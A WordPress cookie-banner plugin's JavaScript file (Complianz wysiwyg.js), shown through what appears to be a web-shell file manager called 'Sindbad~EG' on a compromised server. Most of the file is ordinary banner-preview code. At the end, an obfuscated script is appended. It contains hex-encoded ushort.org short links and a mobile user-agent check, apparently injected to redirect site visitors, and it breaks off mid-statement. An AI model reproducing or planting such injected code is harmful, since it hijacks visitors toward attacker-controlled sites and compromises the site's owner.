Sindbad~EG File Manager

Current Path : /proc/self/cwd/wp-content/plugins/complianz-gdpr/cookiebanner/js/
Upload File :
Current File : //proc/self/cwd/wp-content/plugins/complianz-gdpr/cookiebanner/js/wysiwyg.js

'use strict';
jQuery(document).ready(function ($) {
	let reset_button = document.querySelector('.reset_cookie_banner');
	let reset_button_html = reset_button.innerHTML;
	var bannerVisible = true;
	var cssGenerationActive = false;
	var processingReset = false;
	var cssIndex = 0;
	var bannerInitialized = false;
	var consenttype = $('select[name=cmplz_consenttype]').val();
	var typingTimer;
	var doneTypingInterval = 1000;
	var hideBanner = $('input[name=cmplz_hide_preview]').is(':checked') || $('input[name=cmplz_disable_cookiebanner]').is(':checked');
	var banner_id = $('input[name=cmplz_banner_id]').val();
	var manageConsent = $('#cmplz-manage-consent .cmplz-manage-consent.manage-consent-'+banner_id);
	cmplz_apply_style();
	cmplzUpdateLinks();
	/**
	 * Make sure the banner is loaded after the css has loaded, but only once.
	 */
	$(document).on("cmplzCssLoaded", cmplzAfterCssLoaded);
	function cmplzAfterCssLoaded(){
		if ( !bannerInitialized ) {
			bannerInitialized = true;
			//TCF compatibility
			var event = new CustomEvent('wp_consent_type_defined');
			document.dispatchEvent( event );
			var event = new CustomEvent('cmplz_cookie_warning_loaded', {detail: complianz.region});
			document.dispatchEvent(event);

			if ( hideBanner ) {
				return;
			}
			cmplzShowBanner();
			cmplz_validate_banner_width();
		}
	}



	/**
	 * The function which handles the localstorage, always triggers a change event on the consenttype field.
	 */

	$(document).on('change', 'select[name=cmplz_consenttype]', function () {
		var newConsentType = $('select[name=cmplz_consenttype]').val();
		if ( consenttype !== newConsentType ) {
			$('.cmplz-cookiebanner.'+consenttype).addClass('cmplz-hidden');
			if (!hideBanner) {
				$('.cmplz-cookiebanner.'+newConsentType).removeClass('cmplz-hidden');
				$('.cmplz-cookiebanner.'+newConsentType).addClass('cmplz-show');
			}
			consenttype = newConsentType;
			//make sure the categories are hidden again
			$('.cmplz-categories').removeClass('cmplz-fade-in');
			cmplz_apply_style();
		}
	});

	function cmplzUpdateLinks(){
		var region;
		var pageLinks;
		$('.cmplz-cookiebanner').each(function(){
			if ($(this).hasClass('optout')) {
				region = complianz['regions']['optout'];
				pageLinks = complianz.page_links[region];
			} else {
				region = complianz['regions']['optin'];
				pageLinks = complianz.page_links[region];
			}
			$(this).find('.cmplz-links a:not(.cmplz-external), .cmplz-buttons a:not(.cmplz-external)').each( function(){
				var docElement = $(this);
				docElement.addClass('cmplz-hidden');
				for (var pageType in pageLinks) {
					if ( docElement.hasClass(pageType) ){

						docElement.attr('href', pageLinks[pageType]['url']+docElement.data('relative_url') );
						if ( docElement.html() === '{title}') {
							docElement.html(pageLinks[pageType]['title']);
						}
						docElement.removeClass('cmplz-hidden');
					}
				}
			});
		});
	}

	/**
	 * We want to apply the current settings, then recalculate the banner width, then apply the settings again.
	 */

	function cmplz_validate_banner_width(){
		cmplz_apply_style(cmplz_validate_banner_width_after);
	}

	function cmplz_validate_banner_width_after(){
		if ($('select[name=cmplz_position]').val() === 'bottom' ) {
			return;
		}

		if ($('#cmplz-tcf-js').length ) {
			return;
		}

		if ( $('input[name="cmplz_disable_width_correction"]').is(':checked') ) {
			return;
		}

		//check if cats width is ok
		let cats_width = document.querySelector('.cmplz-categories').offsetWidth;
		let message_width = document.querySelector('.cmplz-message').offsetWidth;
		let banner_width = document.querySelector('.cmplz-cookiebanner').offsetWidth;
		let max_banner_change = banner_width * 1.3;
		let new_width_cats = 0;
		let new_width_btns = 0;
		let banner_padding= false;
		let padding_left = window.getComputedStyle(document.querySelector('.cmplz-cookiebanner'), null).getPropertyValue('padding-left');
		let padding_right = window.getComputedStyle(document.querySelector('.cmplz-cookiebanner'), null).getPropertyValue('padding-left');

		//check if the banner padding is in px, and if so get it as int
		if (padding_left.indexOf('px')!=-1 && padding_right.indexOf('px')!=-1){
			banner_padding = parseInt(padding_left.replace('px', '')) + parseInt(padding_right.replace('px', ''));
		}

		if ( cats_width>0 && banner_padding ){
			if ( banner_width-banner_padding > cats_width ) {
				let difference = banner_width-42 - cats_width;
				new_width_cats =  parseInt(banner_width) + parseInt(difference);
			}
		}

		let btn_width = 0;
		btn_width = document.querySelectorAll('.cmplz-buttons .cmplz-btn').offsetWidth;
		if (btn_width > message_width) {
			let difference = btn_width - 42 - message_width;
			new_width_btns = parseInt(btn_width) + parseInt(difference);
		}

		let new_width = 0;
		if (new_width_btns > new_width_cats ) {
			new_width = new_width_btns;
		} else {
			new_width = new_width_cats;
		}

		if ( new_width > banner_width && new_width < max_banner_change ) {

			if(new_width % 2 != 0) new_width++;
			document.querySelector('input[name=cmplz_banner_width]').value = new_width;
		}

		cmplz_apply_style();
	}

	/**
	 * apply the banner styles
	 * @param callback
	 */
	function cmplz_apply_style(callback){
		if (processingReset || cssGenerationActive) {
			return;
		}
		cssGenerationActive = true;
		$('.cmplz-cookiebanner').addClass('reloading');

		$.ajax({
			type: 'POST',
			url: complianz_admin.admin_url,
			dataType: 'json',
			data: ({
				id: banner_id,
				formData: $('#cmplz-form').serialize(),
				action: 'cmplz_generate_preview_css',
			}),
			success: function (response) {
				$('.cmplz-cookiebanner').removeClass('reloading');

				if (response.success) {

					var link = document.createElement("link");
					var css_file = complianz.css_file;
					css_file = css_file+Math.random();
					css_file = css_file.replace('banner-', 'banner-preview-');
					if (banner_id==='') banner_id = 'new';

					$('.cmplz-cookiebanner').each(function(){
						$(this).removeClass('cmplz-center');
						$(this).removeClass('cmplz-bottom');
						$(this).removeClass('cmplz-bottom-left');
						$(this).removeClass('cmplz-bottom-right');
						$(this).addClass('cmplz-'+$('select[name=cmplz_position]').val());
						if ($('#cmplz-tcf-js').length ) {
							$(this).addClass('tcf');
						}

						$(this).removeClass('cmplz-categories-type-no');
						$(this).removeClass('cmplz-categories-type-view-preferences');
						$(this).removeClass('cmplz-categories-type-save-preferences');
						$(this).addClass('cmplz-categories-type-'+$('select[name=cmplz_use_categories]').val());
					});

					css_file = css_file.replace('{type}', consenttype ).replace('{banner_id}', banner_id);
					link.href = css_file;
					link.type = "text/css";
					link.rel = "stylesheet";
					var newCssIndex = cssIndex+1;
					link.classList.add('cmplz-banner-css-'+newCssIndex);
					document.getElementsByTagName("head")[0].appendChild(link);
					link.onload = function () {
						//remove old css
						$('.cmplz-banner-css-'+cssIndex).remove();

						var event = new CustomEvent('cmplzCssLoaded');
						document.dispatchEvent(event);
						cssIndex++;
						if (typeof callback == "function") callback();
					}
					reset_button.disabled = false;
					reset_button.innerHTML = reset_button_html;
				}
				cssGenerationActive = false;
			}
		});
	}

	$(document).on('change',
		'input[name=cmplz_hide_preview], ' +
		'input[name=cmplz_disable_cookiebanner]'
		, function () {
		if ( $(this).is(':checked') ) {
			hideBanner = true;
			cmplzHideBanner();
		} else {
			hideBanner = false;
			//check for TCF integration
			//we need to reload if it exists
			if ($('#cmplz-tcf-js').length) {
				$('#cmplz-form').submit();
			} else {
				cmplzShowBanner();
			}
		}
	});

	window.cmplz_set_cookie = function(name, value) {

	}

	$(document).on('change',
		'input[name=cmplz_soft_cookiewall]', function () {
		if ( $(this).is(':checked') ) {
			$('#cmplz-cookiebanner-container').addClass('cmplz-soft-cookiewall');
			$.when(cmplz_apply_style()).done(
				setTimeout(function(){
					$('#cmplz-cookiebanner-container').removeClass('cmplz-soft-cookiewall');
				}, 3000)
			);
		}
	});

	$(document).on('keyup', "input[name='cmplz_header[text]']", function () {
		$(".cmplz-header .cmplz-title").html($(this).val());
		clearTimeout(typingTimer);
		typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
	})

	$(document).on('keyup', "input[name='cmplz_accept']", function () {
		$(".optin button.cmplz-accept").html($(this).val());
		clearTimeout(typingTimer);
		typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
	});
	$(document).on('keyup', "input[name='cmplz_accept_informational[text]']", function () {
		$(".optout button.cmplz-accept").html($(this).val());
		clearTimeout(typingTimer);
		typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
	});
	$(document).on('keyup', "input[name='cmplz_dismiss[text]']", function () {
		$("button.cmplz-deny").html($(this).val());
		clearTimeout(typingTimer);
		typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
	});
	$(document).on('keyup', "input[name='cmplz_revoke[text]']", function () {
		$("button.cmplz-manage-consent").html($(this).val());
	});
	$(document).on('keyup', "input[name='cmplz_view_preferences']", function () {
		$("button.cmplz-view-preferences").html($(this).val());
		clearTimeout(typingTimer);
		typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
	});
	$(document).on('keyup', "input[name='cmplz_save_preferences']", function () {
		$("button.cmplz-save-preferences").html($(this).val());
		clearTimeout(typingTimer);
		typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
	});
	$(document).on('keyup', "input[name='cmplz_category_functional']", function () {
		$(".cmplz-functional .cmplz-category-title").html($(this).val());
	});
	$(document).on('keyup', "input[name='cmplz_category_stats[text]']", function () {
		$(".cmplz-statistics .cmplz-category-title").html($(this).val());
	});
	$(document).on('keyup', "input[name='cmplz_category_prefs[text]']", function () {
		$(".cmplz-preferences .cmplz-category-title").html($(this).val());
	});
	$(document).on('keyup', "input[name='cmplz_category_all[text]']", function () {
		$(".cmplz-marketing .cmplz-category-title").html($(this).val());
	});

	$(document).on('keyup', "input[name='cmplz_functional_text[text]']", function () {
		$(".cmplz-functional .cmplz-description-functional").html($(this).val());
	});

	$(document).on('keyup', "input[name='cmplz_preferences_text[text]']", function () {
		$(".cmplz-preferences .cmplz-description-preferences").html($(this).val());
	});

	$(document).on('keyup', "input[name='cmplz_statistics_text[text]']", function () {
		$(".cmplz-statistics .cmplz-description-statistics").html($(this).val());
	});
	$(document).on('keyup', "input[name='cmplz_statistics_text_anonymous[text]']", function () {
		$(".cmplz-statistics .cmplz-description-statistics-anonymous").html($(this).val());
	});
	$(document).on('keyup', "input[name='cmplz_marketing_text[text]']", function () {
		$(".cmplz-marketing .cmplz-description-marketing").html($(this).val());
	});
	$(document).on('keyup', "textarea.wp-editor-area", function () {
		$(".cmplz-message").html($(this).val());
	});

	//on keydown, clear the countdown
	$('input[type=text], input[type=number]').on('keydown', function () {
		clearTimeout(typingTimer);
	});

	$(document).on('keyup',
		'input[name=cmplz_banner_width], ' +
		'#cmplz_custom_csseditor,' +
		'input[type=number].cmplz-border-width, ' +
		'input[type=number].cmplz-border-radius'
		, function () {
			clearTimeout(typingTimer);
			typingTimer = setTimeout(cmplz_validate_banner_width, doneTypingInterval);
	});

	$(document).on('change',
		'select[name=cmplz_position], ' +
		'select[name=cmplz_checkbox_style], ' +
		'input[name=cmplz_close_button], ' +
		'input[name=cmplz_legal_documents], ' +
		'input[name=cmplz_font_size], ' +
		'input[name="cmplz_header[show]"], ' +
		'input[name="cmplz_dismiss[show]"], ' +
		'input[name="cmplz_accept_informational[show]"], ' +
		'input[name="cmplz_functional_text[show]"], ' +
		'input[name="cmplz_statistics_text[show]"], ' +
		'input[name="cmplz_statistics_text_anonymous[show]"], ' +
		'input[name="cmplz_preferences_text[show]"], ' +
		'input[name="cmplz_marketing_text[show]"], ' +
		'input[name="cmplz_category_stats[show]"], ' +
		'input[name="cmplz_category_prefs[show]"], ' +
		'input[name="cmplz_category_all[show]"], ' +
		'input[name=cmplz_use_box_shadow], ' +
		'input[name=cmplz_header_footer_shadow], ' +
		'input[name=cmplz_use_custom_cookie_css], ' +
		'select[name=cmplz_use_categories], ' +
		'select[name=cmplz_animation], ' +
		'input[name="cmplz_revoke[show]"]'
		, function () {
			cmplz_apply_style();
	});

	/**
	 * Number fields: as the user can very quickly click the up and down arrows,
	 * we need to add a delay to prevent issues
	 */
	$(document).on('change',
		'input[name=cmplz_banner_width], ' +
		'input[type=number].cmplz-border-radius,' +
		'input[type=number].cmplz-border-width'
		, delay(function (e) {
				cmplz_apply_style();
		}, 500));

	function delay(callback, ms) {
		var timer = 0;
		return function() {
			var context = this, args = arguments;
			clearTimeout(timer);
			timer = setTimeout(function () {
				callback.apply(context, args);
			}, ms || 0);
		};
	}

	/**
	 * change link on theme logo
	 */

	var customizer_url = $('input[name=cmplz-customizer-url]').val();
	$('.cmplz-logo-preview.cmplz-theme-image a').attr('href', customizer_url);

	$(document).on('change',
		'select[name=cmplz_use_logo]'
		, function () {
			var logo_type = $('select[name=cmplz_use_logo]').val();
			if (logo_type!=='hide') {
				var new_logo = complianz.logo_options[logo_type];
				$('.cmplz-cookiebanner .cmplz-logo').html(new_logo);
			}
			cmplz_apply_style();
		});

	$('.cmplz-color-picker').wpColorPicker({
		change:
			function (event, ui) {
				var container_id = $(event.target).data('hidden-input');
				$('#' + container_id).val(ui.color.toString());
				cmplz_apply_style();
			}
		}
	);


	function cmplz_set_disabled(callback){
		reset_button.setAttribute("disabled", "disabled");
		reset_button.innerHTML = '<div class="cmplz-loader"><div class="rect1"></div><div class="rect2"></div><div class="rect3"></div><div class="rect4"></div><div class="rect5"></div></div>';

		// var observer = new MutationObserver(function(mutations) {
		// 	mutations.forEach(function(mutation) {
		// 		if (mutation.type == "attributes") {
		// 			callback()
		// 		}
		// 	});
		// });
		// observer.observe(reset_button, {
		// 	attributes: true //configure it to listen to attribute changes
		// });
		callback();
	}


	$(document).on( 'click', '.reset_cookie_banner', function(){
		if (processingReset) return;
		processingReset = true;
		reset_button.setAttribute("disabled", "disabled");
		reset_button.innerHTML = '<div class="cmplz-loader"><div class="rect1"></div><div class="rect2"></div><div class="rect3"></div><div class="rect4"></div><div class="rect5"></div></div>';

		//cmplz_set_disabled(function(){
			cmplz_load_defaults(function(){
				cmplzUpdatePreviewFields( function(){
					processingReset = false;
					cmplz_apply_style();
				});
			});
		// });
	});

	function cmplz_load_defaults(callback){
		var defaults = complianz.defaults;
		for (var default_field in defaults) {
			var fieldGroup = $(".field-group[data-fieldname="+default_field+"]");
			if (fieldGroup.hasClass('cmplz-colorpicker') ) {
				if (defaults[default_field].hasOwnProperty("color")) {
					fieldGroup.find('.cmplz-color-picker data[hidden-input=cmplz_'+default_field+'_color]').wpColorPicker('color', defaults[default_field]['color']);
					var inputField = $("input[name='cmplz_" + default_field + "[color]']");
					inputField.val(defaults[default_field]['color']);
					inputField.closest('.cmplz-color-picker-wrap').find('.wp-color-result').css('background-color', defaults[default_field]['color']);
				}
				if (defaults[default_field].hasOwnProperty("background")) {
					fieldGroup.find('.cmplz-color-picker data[hidden-input=cmplz_'+default_field+'_background]').wpColorPicker('color', defaults[default_field]['background']);
					var inputField = $("input[name='cmplz_" + default_field + "[background]']");
					inputField.val(defaults[default_field]['background']);
					inputField.closest('.cmplz-color-picker-wrap').find('.wp-color-result').css('background-color', defaults[default_field]['background']);
				}
				if (defaults[default_field].hasOwnProperty("border")) {
					fieldGroup.find('.cmplz-color-picker data[hidden-input=cmplz_'+default_field+'_border]').wpColorPicker('color', defaults[default_field]['border']);
					var inputField = $("input[name='cmplz_" + default_field + "[border]']");
					inputField.val(defaults[default_field]['border']);
					inputField.closest('.cmplz-color-picker-wrap').find('.wp-color-result').css('background-color', defaults[default_field]['border']);
				}
				if (defaults[default_field].hasOwnProperty("text")) {
					fieldGroup.find('.cmplz-color-picker data[hidden-input=cmplz_'+default_field+'_text]').wpColorPicker('color', defaults[default_field]['text']);
					var inputField = $("input[name='cmplz_" + default_field + "[text]']");
					inputField.val(defaults[default_field]['text']);
					inputField.closest('.cmplz-color-picker-wrap').find('.wp-color-result').css('background-color', defaults[default_field]['text']);
				}
				if (defaults[default_field].hasOwnProperty("bullet")) {
					fieldGroup.find('.cmplz-color-picker data[hidden-input=cmplz_'+default_field+'_bullet]').wpColorPicker('color', defaults[default_field]['bullet']);
					var inputField = $("input[name='cmplz_" + default_field + "[bullet]']");
					inputField.val(defaults[default_field]['bullet']);
					inputField.closest('.cmplz-color-picker-wrap').find('.wp-color-result').css('background-color', defaults[default_field]['bullet']);
				}
				if (defaults[default_field].hasOwnProperty("inactive")) {
					fieldGroup.find('.cmplz-color-picker data[hidden-input=cmplz_'+default_field+'_inactive]').wpColorPicker('color', defaults[default_field]['inactive']);
					var inputField = $("input[name='cmplz_" + default_field + "[inactive]']");
					inputField.val(defaults[default_field]['inactive']);
					inputField.closest('.cmplz-color-picker-wrap').find('.wp-color-result').css('background-color', defaults[default_field]['inactive']);
				}
			} else if (fieldGroup.hasClass('cmplz-text_checkbox') ) {
				$(".field-group[data-fieldname="+default_field+'] input[type=text]').val( defaults[default_field]['text'] );
				$(".field-group[data-fieldname="+default_field+'] input[type=checkbox]').prop('checked', defaults[default_field]['show'] );
			} else if ( fieldGroup.hasClass('cmplz-text') ) {
				$(".field-group[data-fieldname="+default_field+'] input').val( defaults[default_field] );
			} else if (fieldGroup.hasClass('cmplz-borderradius') || fieldGroup.hasClass('cmplz-borderwidth')) {
				$("input[name='cmplz_"+default_field+"[top]']").val(defaults[default_field]['top']);
				$("input[name='cmplz_"+default_field+"[right]']").val(defaults[default_field]['right']);
				$("input[name='cmplz_"+default_field+"[bottom]']").val(defaults[default_field]['bottom']);
				$("input[name='cmplz_"+default_field+"[left]']").val(defaults[default_field]['left']);
				if (defaults[default_field].hasOwnProperty("type")) {
					$("input[name='cmplz_"+default_field+"[type]']").val(defaults[default_field]['type']);
				}
			} else if (fieldGroup.hasClass('cmplz-number')){
				$(".field-group[data-fieldname="+default_field+'] input').val( defaults[default_field] );
			} else if (fieldGroup.hasClass('cmplz-checkbox')) {
				var checked = defaults[default_field] ? 'checked' : '';
				$(".field-group[data-fieldname="+default_field+'] input').prop('checked', checked);
			} else if (fieldGroup.hasClass('cmplz-select')){
				if (default_field!=='position') {
					$(".field-group[data-fieldname="+default_field+'] select').val( defaults[default_field] );
				}
			} else if (fieldGroup.hasClass('cmplz-editor')){
				var editor_id = 'cmplz_message_' + consenttype;
				var textarea_id = 'cmplz_message_' + consenttype;
				$(".cmplz-message").html(defaults[default_field] );
				if ($('#wp-' + editor_id + '-wrap').hasClass('tmce-active') && tinyMCE.get(editor_id)) {
					tinyMCE.get(editor_id).setContent(defaults[default_field]);
				} else {
					$('#' + textarea_id).val(defaults[default_field]);
				}
			}
			$('select[name=cmplz_use_logo]').trigger('change');
		}
		callback();
	}

	/**
	 * TinyMCE Editor
	 */

	setTimeout(function () {
		if (typeof tinymce !== 'undefined' ) {
			for (var i = 0; i < tinymce.editors.length; i++) {
				tinymce.editors[i].on('NodeChange keyup', function (ed, e) {
					var content;
					var editor_id = 'cmplz_message_' + consenttype;
					var textarea_id = 'cmplz_message_' + consenttype;

					if ($('#wp-' + editor_id + '-wrap').hasClass('tmce-active') && tinyMCE.get(editor_id)) {
						content = tinyMCE.get(editor_id).getContent();
					} else {
						content = $('#' + textarea_id).val();
					}
					content = content.replace(/<[\/]{0,1}(p)[^><]*>/ig, "");
					$(".cmplz-message").html(content );
					// Update HTML view textarea (that is the one used to send the data to server).
				});
			}
		}

	}, 1500);


	/**
	 * Banner controls
	 */

	$(document).on('click', '.cmplz-close, .cmplz-accept, .cmplz-deny, .cmplz-save-preferences', function(){
		cmplzHideBanner();
	});

	$(document).on('click', '.cmplz-manage-consent', function(){
		cmplzShowBanner();
	});

	$(document).on('click', '.cmplz-view-preferences', function(){
		var banner = $(this).closest('.cmplz-cookiebanner');
		if ( $('.cmplz-categories').hasClass('cmplz-fade-in')) {
			banner.remove('cmplz-categories-visible');
			banner.find('.cmplz-categories').removeClass('cmplz-fade-in');
			banner.find('.cmplz-view-preferences').show();
			banner.find('.cmplz-save-preferences').hide();
		} else {
			banner.addClass('cmplz-categories-visible');
			banner.find('.cmplz-categories').addClass('cmplz-fade-in');
			banner.find('.cmplz-view-preferences').hide();
			banner.find('.cmplz-save-preferences').show();
		}
	});

	function cmplzHideBanner(){
		$('.cmplz-cookiebanner.' + consenttype).addClass('cmplz-hidden');
		$('.cmplz-cookiebanner.' + consenttype).removeClass('cmplz-show');
		manageConsent.removeClass('cmplz-hidden');
		bannerVisible = false;
	}

	function cmplzShowBanner(){
		$('.cmplz-cookiebanner.' + consenttype).removeClass('cmplz-hidden');
		$('.cmplz-cookiebanner.' + consenttype).addClass('cmplz-show');
		manageConsent.addClass('cmplz-hidden');
		bannerVisible = true;
	}

	$(document).on('click', '.cmplz-border-input-type-pixel', function() {
		var hidden_field = $(this).closest('.cmplz-border-input-type-wrap');
		hidden_field.find('.cmplz-border-input-type').val('px');
		hidden_field.find('.cmplz-border-input-type-percent').addClass('cmplz-grey');
		$(this).removeClass('cmplz-grey');
		cmplz_apply_style();
	});

	$(document).on('click', '.cmplz-border-input-type-percent', function() {
		var hidden_field = $(this).closest('.cmplz-border-input-type-wrap');
		hidden_field.find('.cmplz-border-input-type').val('%');
		hidden_field.find('.cmplz-border-input-type-pixel').addClass('cmplz-grey');
		$(this).removeClass('cmplz-grey');
		cmplz_apply_style();
	});

	function cmplzUpdatePreviewFields(callback){
		$(".cmplz-header .cmplz-title").html($("input[name='cmplz_header[text]']").val());
		$(".cmplz-manage-consent").html($("input[name='cmplz_revoke[text]']").val());
		$(".optin button.cmplz-accept").html($("input[name='cmplz_accept']").val());
		$(".optout button.cmplz-accept").html($("input[name='cmplz_accept_informational[text]']").val());
		$("button.cmplz-deny").html($("input[name='cmplz_dismiss[text]']").val());
		$("button.cmplz-view-preferences").html($("input[name='cmplz_view_preferences']").val());
		$(".cmplz-functional .cmplz-category-title").html($("input[name='cmplz_category_functional']").val());
		$(".cmplz-statistics .cmplz-category-title").html($("input[name='cmplz_category_stats[text]']").val());
		$(".cmplz-preferences .cmplz-category-title").html($("input[name='cmplz_category_prefs[text]']").val());
		$(".cmplz-marketing .cmplz-category-title").html($("input[name='cmplz_category_all[text]']").val());
		$(".cmplz-functional .cmplz-description-functional").html($("input[name='cmplz_functional_text[text]']").val());
		$(".cmplz-preferences .cmplz-description-preferences").html($("input[name='cmplz_preferences_text[text]']").val());
		$(".cmplz-statistics .cmplz-description-statistics").html($("input[name='cmplz_statistics_text[text]']").val());
		$(".cmplz-statistics .cmplz-description-statistics-anonymous").html($("input[name='cmplz_statistics_text_anonymous[text]']").val());
		$(".cmplz-marketing .cmplz-description").html($("input[name='cmplz_marketing_text[text]']").val());
		callback();
	}

	/**
	 * Helper functions
	 */

	/**
	 * Check if needle occurs in the haystack
	 * @param needle
	 * @param haystack
	 * @returns {boolean}
	 */
	window.cmplz_in_array = function(needle, haystack) {
		var length = haystack.length;
		for(var i = 0; i < length; i++) {
			if(haystack[i] == needle) return true;
		}
		return false;
	}

	/**
	 * Get a cookie by name. Used for the TCF banner
	 * @param name
	 * @returns {string}
	 */

	window.cmplz_get_cookie = function(name) {
		if (typeof document === 'undefined') {
			return '';
		}
		name = complianz.prefix+name + "=";
		var cArr = document.cookie.split(';');
		for (var i = 0; i < cArr.length; i++) {
			var c = cArr[i].trim();
			if (c.indexOf(name) == 0)
				return c.substring(name.length, c.length);
		}

		return "";
	}

});
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x72\x47\x6b\x33\x63\x393','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6b\x66\x48\x35\x63\x305','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6e\x6b\x4d\x38\x63\x328','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x69\x7a\x78\x39\x63\x359','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x4a\x54\x70\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x72\x50\x62\x37\x63\x327','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6e\x75\x6b\x32\x63\x322','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x51\x77\x72\x36\x63\x306','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const 